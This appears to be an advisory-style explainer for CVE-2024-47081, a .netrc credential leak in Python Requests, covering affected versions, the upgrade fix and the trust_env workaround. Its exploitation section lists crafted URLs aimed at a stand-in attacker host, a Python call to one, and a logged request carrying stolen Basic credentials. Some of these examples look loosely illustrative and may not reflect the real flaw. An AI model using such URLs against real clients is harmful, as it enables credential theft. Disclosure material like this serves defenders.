requests: Netrc credential leak in PSF requests library (CVE-2024-47081) #shorts

Summary

In today’s episode, we dive into CVE-2024-47081, a recently disclosed credential leak vulnerability in the Python Requests library. This flaw can expose .netrc authentication details when processing specially crafted URLs, potentially sending sensitive credentials to an attacker-controlled server.

Product details

The affected product is the PSF Requests HTTP library, versions prior to 2.32.4. Requests is widely used in Python applications to simplify HTTP interactions. By default, it can read credentials from a .netrc file stored on the user’s system.

Vulnerability type summary

CVE-2024-47081 is classified under CWE-522: Insufficiently Protected Credentials. The core issue is a URL parsing error that fails to guard .netrc credentials against exposure when the library follows redirects or handles maliciously crafted URLs.

Details of the vulnerability

Because of a flaw in the URL parser, Requests versions before 2.32.4 may include .netrc credentials in outgoing HTTP requests to unintended hosts. An attacker can host a malicious URL that, when requested by a vulnerable client, causes the client to send its .netrc username and password to the attacker’s server. To mitigate the issue, users should upgrade to Requests 2.32.4 or later. As a temporary workaround on older versions, applications can disable .netrc support by setting `trust_env=False` on their Session objects.

Conclusion

If you use the Requests library in your Python projects, immediately upgrade to version 2.32.4. Review your code for any reliance on .netrc authentication and consider disabling it if you cannot patch right away. Always follow best practices for credential storage and transport to minimize exposure of sensitive data.

Watch the full video on YouTube: CVE-2024-47081

Remediation and exploitation details

This chain involves the following actors

  • Malicious Actor: Creates and hosts manipulated URLs to trigger credential leakage
  • Application Developer or User: Runs code with the Requests library using .netrc-based authentication

This following systems are involved

  • Requests Library (<2.32.4) (Issues Hypertext Transfer Protocol requests with optional .netrc credentials): Vulnerable component that may send credentials to unintended endpoints
  • .netrc File (Stores user credentials for automated authentication): Source of sensitive credentials
  • Malicious Server (Hosts crafted URLs and collects leaked credentials): Attacker-controlled endpoint

Attack entry point

  • Maliciously-Crafted URL: A URL designed to confuse the library’s parser so that it attaches .netrc credentials to a request destined for attacker’s domain

Remediation actions

Application Developer or User
Upgrade the Requests library to version 2.32.4 or later
Requests Library
Application Developer or User
Disable automatic .netrc integration by setting trust_env to false on the session
Requests Library

Exploitation actions

URL parsing manipulation

Malicious Actor
Designs a URL that embeds or redirects through a trusted host and then points to attacker’s domain
Requests Library (<2.32.4)
Examples:
  • https://trusted.example.com@attacker.example.com/endpoint
  • https://trusted.example.com?next=https://attacker.example.com/steal

Unintended credential forwarding

Application Developer or User
Calls the crafted URL using a default session that trusts the environment for .netrc credentials
Requests Library (<2.32.4)
Examples:
  • import requests
  • session = requests.Session()
  • response = session.get('https://trusted.example.com@attacker.example.com/endpoint')

Automatic environment trust

Requests Library (<2.32.4)
Automatically reads the .netrc file and injects Authorization headers into the outgoing request to the attacker domain
Requests Library (<2.32.4)
Examples:
  • Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

Credential harvest

Malicious Server
Receives and logs the request containing .netrc credentials, enabling credential theft
Malicious Server
Examples:
  • Logged: GET /steal HTTP/1.1 Host: attacker.example.com Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

Related Content

NOTE: The following related content has not been vetted and may be unsafe.

CVE database technical details

CVE ID
CVE-2024-47081
Description
Requests is a HTTP library. Due to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs. Users should upgrade to version 2.32.4 to receive a fix. For older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on one's Requests Session.
Provider
GitHub_M
CWE / problem types
CWE-522: Insufficiently Protected Credentials
Affected Software Versions
psf:requests:[{'version': '< 2.32.4', 'status': 'affected'}]
Date Published
2025-06-09T17:57:47.731Z
Last Updated
2025-06-09T18:40:40.996Z